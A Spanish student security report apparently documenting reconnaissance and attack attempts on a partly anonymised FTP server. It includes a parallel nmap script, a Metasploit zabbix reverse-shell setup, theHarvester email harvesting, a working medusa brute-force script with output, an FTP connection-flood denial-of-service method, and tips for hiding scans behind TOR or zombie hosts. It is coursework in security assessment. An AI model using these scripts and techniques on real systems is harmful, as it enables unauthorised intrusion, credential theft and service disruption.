• No se han encontrado resultados

Escaneo de servidor FTP Búsqueda de vulnerabilidades

N/A
N/A
Protected

Academic year: 2021

Share "Escaneo de servidor FTP Búsqueda de vulnerabilidades"

Copied!
20
0
0

Texto completo

(1)

Escaneo de servidor FTP

Búsqueda de vulnerabilidades

David Núñez Álvarez PSI 2011/2012

(2)

Con motivo de no revelar los datos del servidor al que se le realizó el estudio vamos a suponer que su dominio es ftp.objetivo.com y su IP no será completamente visible. En un principio, sólo conocemos el dominio web del servidor FTP que será nuestro objetivo de estudio, ftp.objetivo.com Nos conectamos al él desde el navegador y vemos que el servicio de FTP esta activo y funcionando correctamente.

(3)

1.Inicio Lo primero que haremos será conseguir su dirección IP: $nslookup ftp.objetivo.com Name: ftp.objetivo.com Address: 1█.█.█.█6 Esta IP será la base de todas nuestras pruebas. 1.1)Empezaremos intentando hacer un ping al objetivo. $ ping ­c 3 1█.█.█.█6 PING 1█.█.█.█6 (1█.█.█.█6) 56(84) bytes of data. ­­­ 1█.█.█.█6 ping statistics ­­­ 3 packets transmitted, 0 received, 100% packet loss, time 2009ms Se ve que el objetivo no responde al ping, esto puede deberse a diferentes motivos, como sabemos que la máquina está funcionando el más común es que tengan desactivada la respuesta a los mensajes ICMP. 1.2)Intentaremos llegar a él a través de otros medios como traceroute para hacernos una idea de qué máquinas hay entre nosotros y el objetivo a ver si descubrimos algo, lo mas seguro es que también se nos filtre antes de llegar al objetivo ya que traceroute funciona sobre ICMP. $traceroute 1█.█.█.█6 Con la salida que nos dio traceroute vemos que a partir de un punto las direcciones IP se nos ocultan, cosa que nos indica que seguramente estemos pasando a través de un firewall que nos está filtrando la paquetería enviada.

(4)

1.3)No hay que preocuparse, hay diferentes maneras de llegar a una máquina detrás de un firewall. Una de ellas es con la herramienta hping3. Usaremos la opción ­t 1 combinada con la opción ­Z lo que nos permite que al pulsar CTRL+Z el TTL de los paquetes que envía hping3 aumente en 1 y vaya variando el punto que nos responde entre nosotros y el objetivo. Se usará también la opción ­S que pondrá el flag SYN de TCP a 1, flag que los firewall suelen dejar pasar ya que es el flag que permite iniciar una conexión TCP. #hping3 -S -t 1 -p 21 -n -z1█.█.█.█6

HPING1█.█.█.█6 (wlan01█.█.█.█6): S set, 40 headers + 0 data bytes TTL 0 during transit from ip=192.168.1.1

2: TTL 0 during transit from ip=█.█.176.1 3: TTL 0 during transit from ip=█.█.█.254 4: TTL 0 during transit from ip=█.█.█.62 5: TTL 0 during transit from ip=█.█.█.97 6: TTL 0 during transit from ip=█.█.█.162 7: TTL 0 during transit from ip=█.█.█.26 8: TTL 0 during transit from ip=█.█.█.10 9: TTL 0 during transit from ip=█.█.█.122 10: TTL 0 during transit from ip=█.█.█.50 11: TTL 0 during transit from ip=█.█.█.130

12: len=44 ip=1█.█.█.█6 ttl=116 DF id=14741 sport=21 flags=SA seq=27 win=8192 rtt=58.3 ms len=44 ip=1█.█.█.█6 ttl=116 DF id=14742 sport=21 flags=SA seq=28 win=8192 rtt=59.4 ms len=44 ip=1█.█.█.█6 ttl=116 DF id=14743 sport=21 flags=SA seq=29 win=8192 rtt=58.6 ms Hemos tenido suerte, conseguimos pasar a través del firewall y alcanzar nuestro objetivo. Con esto descubrimos la IP del firewall y los saltos que hay entre este y la máquina objetivo. En un principio nuestro objetivo para este report es la IP donde se encuentra el servidor FTP, pero con la salida anterior hemos descubierto dónde está el firewall, otra posible máquina vulnerable de la red interna.

(5)

2)Descubrimiento Continuaremos el análisis intentando descubrir los servicios que tiene nuestra máquina objetivo (se sabe que ya tiene un servidor FTP corriendo en el puerto 21). Usaremos la herramienta nmap. Una buena práctica en un escaneo real sería utilizar opciones de nmap que nos permitan ocultarnos detrás de máquinas zombies como técnicas de idle scan. O usar herramientas como torsocks que nos permitirían meter las pruebas de escaneo por la red TOR y salir a través de una IP diferente a la nuestra. ocultando así quién está escaneando la máquina. Empezaremos con un escaneo a tres puertos conocidos que podrían estar abiertos y con la opción ­PN que desactiva el "nmap discovering” (usando PING) ya que ya sabemos que la máquina existe y está funcionando. # nmap -sT -PN -p 21,22,80 -v

Starting Nmap 5.00 ( http://nmap.org ) at 2012-04-30 23:25 CE NSE: Loaded 0 scripts for scanning.

Initiating Connect Scan at 23:25 Scanning 1█.█.█.█6 [3 ports]

Completed Connect Scan at 23:25, 0.76s elapsed (3 total ports Host 1█.█.█.█6 is up (0.78s latency).

Interesting ports on 1█.█.█.█6: PORT STATE SERVICE

21/tcp open ftp 22/tcp filtered ssh 80/tcp filtered http

Read data files from: /usr/share/nmap

Nmap done: 1 IP address (1 host up) scanned in 1.79 seconds

Comprobamos que efectivamente el puerto 21 tiene corriendo ftp detrás, los demás puertos vemos que nmap nos indica que están filtrados.

Haremos ahora un escaneo un poco más completo usando directamente el escaneo de nmap sin indicarle puertos, lo que hará que nmap haga un escaneo de los puertos más comúnmente usados (más de 1500).

(6)

# nmap -sT -PN -v 1█.█.█.█6

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-01 00:06 CEST NSE: Loaded 0 scripts for scanning.

Initiating Parallel DNS resolution of 1 host. at 00:06

Completed Parallel DNS resolution of 1 host. at 00:06, 0.04s elapsed Initiating Connect Scan at 00:06

Scanning 1█.█.█.█6 [1000 ports] Host 1█.█.█.█6 is up (0.059s latency). Interesting ports on 1█.█.█.█6: Not shown: 913 filtered ports PORT STATE SERVICE 21/tcp open ftp 24/tcp open priv-mail 80/tcp open http 212/tcp open anet 311/tcp open asip-webadmin 406/tcp open imsp 465/tcp open smtps 667/tcp open unknown 668/tcp open unknown … … … 8443/tcp open https-alt 8873/tcp open unknown 9001/tcp open tor-orport 9009/tcp open unknown 9290/tcp open unknown 10215/tcp open unknown 10629/tcp open unknown 13782/tcp open netbackup 17988/tcp open unknown 20005/tcp open btx 30951/tcp open unknown 32781/tcp open unknown 33354/tcp open unknown 40193/tcp open unknown 44443/tcp open coldfusion-auth 49155/tcp open unknown 49999/tcp open unknown 55600/tcp open unknown 58080/tcp open unknown

Read data files from: /usr/share/nmap

Nmap done: 1 IP address (1 host up) scanned in 42.43 seconds

Vemos que nos indica muchos puertos abiertos, cosa que es un poco extraña, ya que normalmente una máquina no suele tener tantos puertos escuchando, además nos muestra que el puerto 80 está abierto, puerto que anteriormente apareció como filtrado.

(7)

Esto hace sospechar y haciendo otro escaneo igual que el anterior los puertos que nos indica abiertos son otros completamente distintos. Diferentes sistemas de protección intentan engañar a los intrusos de múltiples maneras. Una de ellas es dando información falsa. Se ve que haciendo escaneos pequeños la información que se nos devuelve acerca de los puertos parece ser correcta. $nmap -sT -PN -v -p 21 1█.█.█.█6 PORT STATE SERVICE

21/tcp open ftp

$nmap -sT -PN -v -p 80 1█.█.█.█6 PORT STATE SERVICE

80/tcp filtered http Así que intentaremos hacer escaneos más pequeños (y más separados en el tiempo). Se intentará buscar por tanto hacer un escaneo por lo menos a los 49151 puertos que forman el conjunto de puertos conocidos y registrados ya que son los más comunes para usar. Sería método muy tedioso (además de largo, ya que cada escaneo tarda unos 2 segundos) intentar hacer escaneos de puerto en puerto manualmente. Creamos un script que ejecute nmap 500 veces, y que empiece en el número que se le indique multiplicado por 500. Así si se le indica 0 escaneará los 500 primeros, 1 del 501 al 1000, 2 del 1001 al 1500 y así sucesivamente. ***************************************************************************************** * nmap.sh * ***************************************************************************************** #!/bin/bash ini=$[1+$1*500]; fin=$[500+$1*500];

for (( i = $ini; i < $fin; i++ )); do

nmap -sT -PN -v -p $i 1█.█.█.█6 |grep open done

(8)

Ejecutaremos el script dentro de un bucle for desde el 1 al 100 en paralelo para poder abarcar todos los puertos anteriormente mencionados.

Si se tiene un ordenador potente esto no será un problema y tendremos 100 nmap ejecutándose en paralelo cada uno interrogando a un puerto diferente de la máquina. y en pocos minutos obtenemos la salida.

$ for (( i = 0; i < 100; i++ )); do ./nmap.sh $i & done 21/tcp open ftp 10050/tcp open unknown 49155/tcp open unknown La ejecución funcionó y obtuvimos que la máquina tenía 3 puertos abiertos. ­21 (ftp) ­10050 (desconocido) ­49155 (desconocido)

(9)

3)Reconocimiento de aplicaciones. Ya se sabe que puertos tiene la máquina escuchando. Ahora el siguiente paso será saber qué corre detrás de cada puerto. 3.1)Nmap también tiene opciones para "SERVICE AND VERSION DETECTION". Se usa añadiendo la opción ­sV. Ejecutando diferentes pruebas para los dos puertos nuevos que obtuvimos. $ nmap -PN -sV -p 49155 1█.█.█.█6

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-07 13:12 CEST Interesting ports on 1█.█.█.█6:

PORT STATE SERVICE VERSION

49155/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 44.54 seconds

$ nmap -PN -sV -p 10050 1█.█.█.█6

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-07 13:13 CEST Interesting ports on 1█.█.█.█6:

PORT STATE SERVICE VERSION 10050/tcp open tcpwrapped

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds

Nos indica que en el 49155 está corriendo el servicio  MS RPC y en el 10050 nos indica tcpwrapped (nmap no pudo descubrir que hay en ese puerto e indica que esta filtrado "tcpwrapped") Cuando nmap no puede obtener lo que corre detrás de un puerto o su versión, tiene diferentes opciones para intentar probar de otras maneras, una de ellas es "­­version­intensity X" donde X es un número entre el 0 y el 9. En este caso se probaron con todas las opciones y ninguna dio más datos ni de versión ni de qué servicios son. (Tampoco para el puerto 21)

(10)

3.2)Hacemos uso de la herramienta netcat para conectarnos a los puertos intentando buscar

algún mensaje de bienvenida en alguno de ellos que nos de alguna información a mayores.

$nc -v -n 1█.█.█.█6 21

(UNKNOWN) [1█.█.█.█6] 21 (ftp) open 220-Bienvenido al FTP (over ssl) de ████. 220 Welcome to the████FTP server.

$ nc -v -n 1█.█.█.█6 10050

(UNKNOWN) [1█.█.█.█6] 10050 (zabbix-agent) open $ nc -v -n 1█.█.█.█6 49155 (UNKNOWN) [1█.█.█.█6] 49155 (?) open Con los mensajes de bienvenida no se consiguió nada pero vemos que netcat asocia al puerto 10050 la herramienta de monitorización zabbix. 3.3)Otra prueba podría ser buscar en la paquetería que se genera en la conexión al servicio del puerto 10050 con alguna herramienta como wireshark. Wireshark asocia también dicho puerto a zabbix. 4)Reconocimiento de SO Nmap también tiene opciones para reconocimiento de sistemas operativos e indicarnos qué sistema operativo hay detrás de una IP. Esto sería usando la opción "­O" pero en este caso la herramienta no pudo indicar un sistema operativo concreto mostrando un porcentaje de más del 90 para diferentes sistemas operativos completamente diferentes. Pero también para este caso tenemos grandes posibilidades sabiendo que corre un MS RPC de que la máquina sea Windows(eso sí, no sabemos qué windows).

(11)

5)Análisis y explotación de vulnerabilidades. Llegados a este punto tenemos que la máquina corre detrás de un firewall Seguramente tenga un sistema de protección que engaña a nuestra herramienta de reconocimiento de aplicaciones y sistemas operativos. La máquina tiene 3 puertos abiertos y detrás de ellos un servidor ftp, el servicio de monitorización zabbix y  Microsoft Windows RPC (lo que nos indica que casi seguramente sea una máquina windows). A partir de esto se podrían intentar explotar las vulnerabilidades de la máquina si es que las tiene. Hay herramientas de búsqueda de vulnerabilidades como nessus o  páginas en las que se exponen vulnerabilidades y exploits para ellas http://www.exploit­db.com/. También hay diferentes herramientas online como http://www.shodanhq.com/ en las que se busca por ip, dominio(http://www.shodanhq.com/search?q=www.telefonica.com)... Y se obtiene los servicios que corren detrás. Shodan también puede buscar por servicio y ofrecerte exploits para él. 5.1)Una herramienta para la explotación de vulnerabilidades sería metasploit. Metasploit Framework es una incluye gran cantidad de exploits para vulnerabilidades de diversas aplicaciones y las explota remotamente. Se pueden buscar las vulnerabilidades de las aplicaciones objetivo desde la herramienta o en el buscador propio de la página web del proyecto http://www.metasploit.com/modules/ La forma básica de funcionamiento es cargar el exploit que se quiera, configurarlo y lanzarlo, si la máquina es vulnerable a dicho exploit, con pocos clicks se puede conseguir echarla abajo, tomar el control a través de un shell remoto...

(12)

Ejemplo de cómo se usaría el exploit para zabbix en metasploit: $ msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## msf > use exploit/unix/misc/zabbix_agent_exec msf exploit(zabbix_agent_exec) > show payloads

msf exploit(zabbix_agent_exec) > set PAYLOAD generic/shell_reverse_tcp msf exploit(zabbix_agent_exec) > set LHOST [MY IP ADDRESS]

msf exploit(zabbix_agent_exec) > set RHOST [TARGET IP] msf exploit(zabbix_agent_exec) > exploit Después de ver cómo se usa metasploit vamos a buscar exploits que puedan valernos para zabbix o MS RPC. zabbix: Sólo tienen este exploit que afecta a la version de FreeBSD http://www.metasploit.com/modules/exploit/unix/misc/zabbix_agent_exec (Ya que la máquina tiene Windows, descartado) Microsoft Windows RPC: La mayoría son exploits para diferentes buffer overflow que tenía en diferentes versiones. http://www.metasploit.com/modules/exploit/windows/dcerpc/ms03_026_dcom PARA (Windows NT SP3­6a/2000/XP/2003 Universal) http://www.metasploit.com/modules/exploit/windows/dcerpc/ms07_029_msdns_zonena me PARA (0 ­ Automatic (2000 SP0­SP4, 2003 SP0, 2003 SP1­SP2) (default)

(13)

1 ­ Windows 2000 Server SP0­SP4+ English 2 ­ Windows 2000 Server SP0­SP4+ Italian 3 ­ Windows 2000 Server SP0­SP4+ French 4 ­ Windows 2003 Server SP0 English 5 ­ Windows 2003 Server SP0 French 6 ­ Windows 2003 Server SP1­SP2 English 7 ­ Windows 2003 Server SP1­SP2 French 8 ­ Windows 2003 Server SP1­SP2 Spanish 9 ­ Windows 2003 Server SP1­SP2 Italian 10 ­ Windows 2003 Server SP1­SP2 German) Ningún exploit llegó a cuajar en la máquina objetivo, si la máquina está bien parcheada y actualizada, la mayoría de los agujeros que pudiese haber en ella, están cerrados. Por esta parte no se pudo obtener nada.

(14)

6)Análisis y explotación de vulnerabilidades. (PASSWORD GUESSING FTP) Por otra parte sigue estando el servidor ftp. En él tenemos acceso a algunas carpetas como usuario anónimo, pero hay otras a las que sólo pueden acceder usuarios registrados. Algo que se podría intentar es el acceso a dichos directorios, para ello intentaremos loguearnos como usuario con herramientas de password guessing. Este es un proceso largo y bastante complicado, ya que la mayoría de las herramientas prueban passwords por fuerza bruta, nos facilitaría algo el trabajo saber de qué está formada la contraseña, cuantos caracteres tiene... También haría el trabajo mucho más sencillo el tener ya el nombre de algún usuario del sistema. Nosotros sabemos que  los nombres de usuario para el servidor ftp son sus direcciones de correo. 6.1)Hay muchas maneras de conseguir un login de un usuario, pero si además sabemos que es la dirección de correo, un script llamado "theHarvester.py" nos puede ser muy útil. http://www.edge­security.com/theHarvester.php Este script nos dará emails, nombres de usuario, subdominios y nombres de host buscando en google, bing... De la organización que le indiquemos. Un ejemplo para una compañía como telefónica sería el siguiente: La salida está acortada y los emails modificados, pero se puede ver como funcionaría dicho script.

$ python theHarvester.py -d telefonica.com -l 200 -b all *************************************

*TheHarvester Ver. 2.2 * *Coded by Christian Martorella * *Edge-Security Research * *cmartorella@edge-security.com * ************************************* Full harvest.. [-] Searching in Google.. Searching 0 results... Searching 100 results... Searching 200 results... [-] Searching in PGP Key server.. [-] Searching in Bing..

Searching 100 results... Searching 200 results... [-] Searching in Exalead..

(15)

Searching 100 results... Searching 200 results... [+] Emails found: ---███aciofundacion.ar@telefonica.com ███iorecepcion.ar@telefonica.com ███inios@e-telefonica.com ███ring.tiws@telefonica.com ███nna.romano@telefonica.com ███arf.ramirez@telefonica.com ... ... ... ███arrf@telefonica.com ███igVi@telefonica.com ███demo.telefonica.com ███alch@telefonica.com ███zalcr@telefonica.com ███zd@telefonica.com

[+] Hosts found in search engines: ---195.53.169.57:www.telefonica.com 200.81.36.14:mailus.telefonica.com 200.81.36.14:mailar.telefonica.com 81.200.64.180:www.infomail.telefonica.com 66.231.233.212:live.us.telefonica.com 195.55.75.245:www.fundacion.telefonica.com ... ... ... 216.177.199.93:us.telefonica.com 195.53.169.9:saladeprensa.telefonica.com 195.55.75.245:www.fundacion.telefonica.com 216.177.199.93:www.multinationalsolutions.telefonica.com [+] Virtual hosts: ================== 195.53.169.57 www.telefonica.com 195.53.169.57 cesaralierta.telefonica.com 195.53.169.57 www.ve.telefonica.com 195.53.169.57 juliolinares.telefonica.com ... ... ... 212.36.82.130 www.maratondegaza.com 212.36.82.130 www.quicklycontact.net 212.36.82.130 maxconn.arancharuiz.com 79.125.125.3 redpacientes.com 79.125.125.3 atlas.telefonica.com 79.125.125.3 informerc.telefonica.com

(16)

Teniendo un usuario del sistema intentaríamos obtener la contraseña de este usuario por "fuerza bruta"

En este caso de ejemplo vamos a usar un fichero con las 10000 contraseñas más usadas en internet el usuario "Admin" y el programa medusa.

Medusa se usa de la siguiente manera:

$medusa -h "IP" -u "NOMBREUSUARIO" -P "ARCHIVODECONTRASEÑAS.txt" -M ftp -v6 ­M ftp ­> indica que use el módulo para servidores ftp ­v6 ­> modo verbose Las pruebas de password guessing a servicios web son muy lentas ya que hay que enviar la petición y esperar la respuesta. Una forma de hacer esto un poco más rápido es ejecutar varias consultas en paralelo. Para esto se creó un pequeño script que partiese el fichero de contraseñas en N partes y que ejecute medusa N veces en paralelo cada una usando una parte del archivo partido. ******************************************************************************* ataque.sh ******************************************************************************* #!/bin/bash if [[ $# != 4 ]]; then

echo "./script <nproc> <ficheropass> <host> <usuario>" echo "nproc= numero procesos a ejecutar en paralelo" echo "host = host a atacar con medusa"

echo "usuario = usuario a probar con medusa" exit; fi nproc=$1; entrada=$2; host=$3; usuario=$4;

#tamano de entrada a traves de wc cogiendo solo numero lineas tam_entrada=`wc -l $entrada |cut -f 1 -d " "`;

#division entera hacia arriba

limite=$[ ($tam_entrada / $nproc) + ($tam_entrada % $nproc) ] i=0;

j=0; h=0;

(17)

echo -n " Dividiendo archivo de passwd "

#partimos el archivo en tantos archivos como procesos se indique while read line

do

if [[ $i -lt $limite ]]; then

echo "$line" >> salida$j.txt; i=$[$i + 1]; else j=$[$j + 1]; i=0; fi done < $2 echo "[COMPLETADO]"

#se ejecuta en paralelo nproc medusa #uno con cada archivo de passwords for (( k = 0 ; k <= $j ; k++ )) do

medusa -h $3 -u $4 -P salida$k.txt -M ftp -v6 & done

#borrar archivos auxiliares #rm salida*;

*******************************************************************************

Un ejemplo de uso del script con 5 ejecuciones paralelas sería:

(./ataque NUMEROPROCESOS FICHEROPASSWORDS.txt IP NOMBREUSUARIO): $ ./ataque.sh 5 passwords2.txt 1█.█.█.█6 admin

Dividiendo archivo de passwd [COMPLETADO]

$ Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1 GENERAL: Total Hosts: 1

GENERAL: Total Users: 1 GENERAL: Total Passwords: 200

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1 GENERAL: Total Hosts: 1

GENERAL: Total Users: 1 GENERAL: Total Passwords: 196

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1 GENERAL: Total Hosts: 1

(18)

GENERAL: Total Users: 1

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1 GENERAL: Total Hosts: 1

GENERAL: Total Users: 1 GENERAL: Total Passwords: 200 GENERAL: Total Passwords: 200

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1 GENERAL: Total Hosts: 1

GENERAL: Total Users: 1 GENERAL: Total Passwords: 200

ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:superman1(1of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:justus(1of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:unreal(1of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:niklas(1of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:123456(1of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:bullshit(2of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:area51(2of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:rasmus(2of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:ibanez(2of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:password(2of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:131313(3of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:deadman(3of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:123456789(3of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:helistin(3of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:terror(3of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:fucker(4of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:redbull(4of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:qwerty(4of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:blizzard(4of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:reaper(4of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:martin(5of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:jaguar(5of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:12345678(5of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:donald(5of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:undertaker(5of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:9452(6of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:1123581321(6of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:111111(6of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:juventus(6of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:kawasaki(6of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:parker(7of196complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:jackass(7of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:abc123(7of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:vincent(7of200complete) ACCOUNTCHECK:[ftp]Host:1█.█.█.█6(1of1,0complete)User:admin (1of1,0complete)Password:87654321(7of200complete) ... Según la potencia(número de máquinas, potencia de cada máquina, velocidad de la conexión...) que tenga el atacante podría realizar este ataque en horas, dias, meses... Y una razón básica para poder realizar esto es que este servidor ftp no corta a quienes hagan muchos intentos fallidos de acceso o a IPs que intentan conexiones simultáneas. Una acción muy común es usar para todos los servicios internos la misma contraseña, si con este método se llegase a sacar la contraseña de algún usuario, muy probablemente podríamos acceder no sólo al servidor ftp como él, si no a otros servicios de la organización...

(19)

6)Análisis y explotación de vulnerabilidades. (FLOOD FTP) Como se pudo observar en el apartado anterior el servidor ftp no tiene límite de conexiones para una misma IP, ni bloquea IPs que hagan muchos intentos fallidos de conexión. Esto también podría servir para realizar ataques de denegación de servicio, en un servidor ftp sin tirar abajo dicho servidor un ataque de denegación de servicio podría ser el obtener todas las conexiones que permita establecer el servidor, impidiendo que los demás usuarios puedan conectarse.

Se creó un programa en C, floodftp, ( http://pastebin.com/mFJiPmBB )que establece conexiones anónimas contra un servidor ftp y no las cierra.

El programa se ejecutaría:

$./floodftp 1█.█.█.█6

El programa queda ejecutándose, leyendo números e intentando hacer ese número de conexiones contra el servidor ftp.

Haciendo diversas pruebas en el servidor y a la vez mostrando las conexiones establecidas entre nuestra máquina y el servidor:

$watch -n 1 'netstat -tupen | grep floodftp | grep ESTABLISHED | wc -l'

Se comprueba que el servidor permite establecer un máximo de 500 conexiones. Si se establece una conexión el servidor no la cierra. Pero estableciendo las 500 máximas a los 35 segundos el servidor cierra todas. A partir de lo observado en las pruebas hechas con floodftp se llega a la conclusión de que estableciendo cada 35 segundos las 500 conexiones sería muy complicado a los demás usuarios acceder al servidor debido a la denegación del servicio que estamos creando.

(20)

Finalmente se llega a la conclusión de que el servidor es bastante seguro, está lo suficientemente parcheado o actualizado para que no tenga vulnerabilidades en las aplicaciones que tiene corriendo. Centrándonos en la aplicación propia del servidor ftp del puerto 21, ésta permite múltiples conexiones de una misma IP y múltiples intentos de inicio sesión fallidos. Las múltiples conexiones desde una misma IP nos permiten poder obtener a un mismo usuario todas las conexiones impidiendo a los demás conectarse. Pero si se corta esto se impediría que por ejemplo en lugares en los que un conjunto de máquinas salen a través de la misma IP, como puede ser la facultad, nos pudiésemos conectar simultáneamente a este servidor de internet. La parte de que el servidor no límite el número de intentos de logearse podría considerarse un fallo de seguridad, pero si las contraseñas son lo suficientemente seguras, sería casi imposible con herramientas de password guessing remoto obtener una contraseña.

Referencias

Documento similar

Cuando el altavoz ya no emite sonido o no enciende es el momento de recargarlo, conectando para ello el extremo micro USB del cable USB (incluido) al propio Music Box B3 Bluetooth

PARA BUSCAR POR APELLIDO O NUMERO OPRIMA LA TECLA CTRL + F.. APELLIDO Y NOMBRE DIRECCION

El valor del sonido labial Crisis ambiental De tripas corazón.. Sobre el tratamiento de

Cuando el altavoz ya no emite sonido o comienzas a percibir que a corta distancia emite interferencias en modo bluetooth, es el momento de recargarlo, conectando para ello el

14 HANS KELSEN, Teoría pura do direito, 1979; NORBERTO BOBBIO, Teoría do orde- namento jurídico, 1990; KARL ENGISCH, Jntroducáo ao pensamento jurídico, 1996; KARL LARENZ,

[r]

[r]

El índice S&amp;P Merval cedió en las últimas cuatro ruedas -0,6% hasta la zona de los 89.000 puntos, aunque en dólares CCL se apreció 4% por el impacto de la revaluación del tipo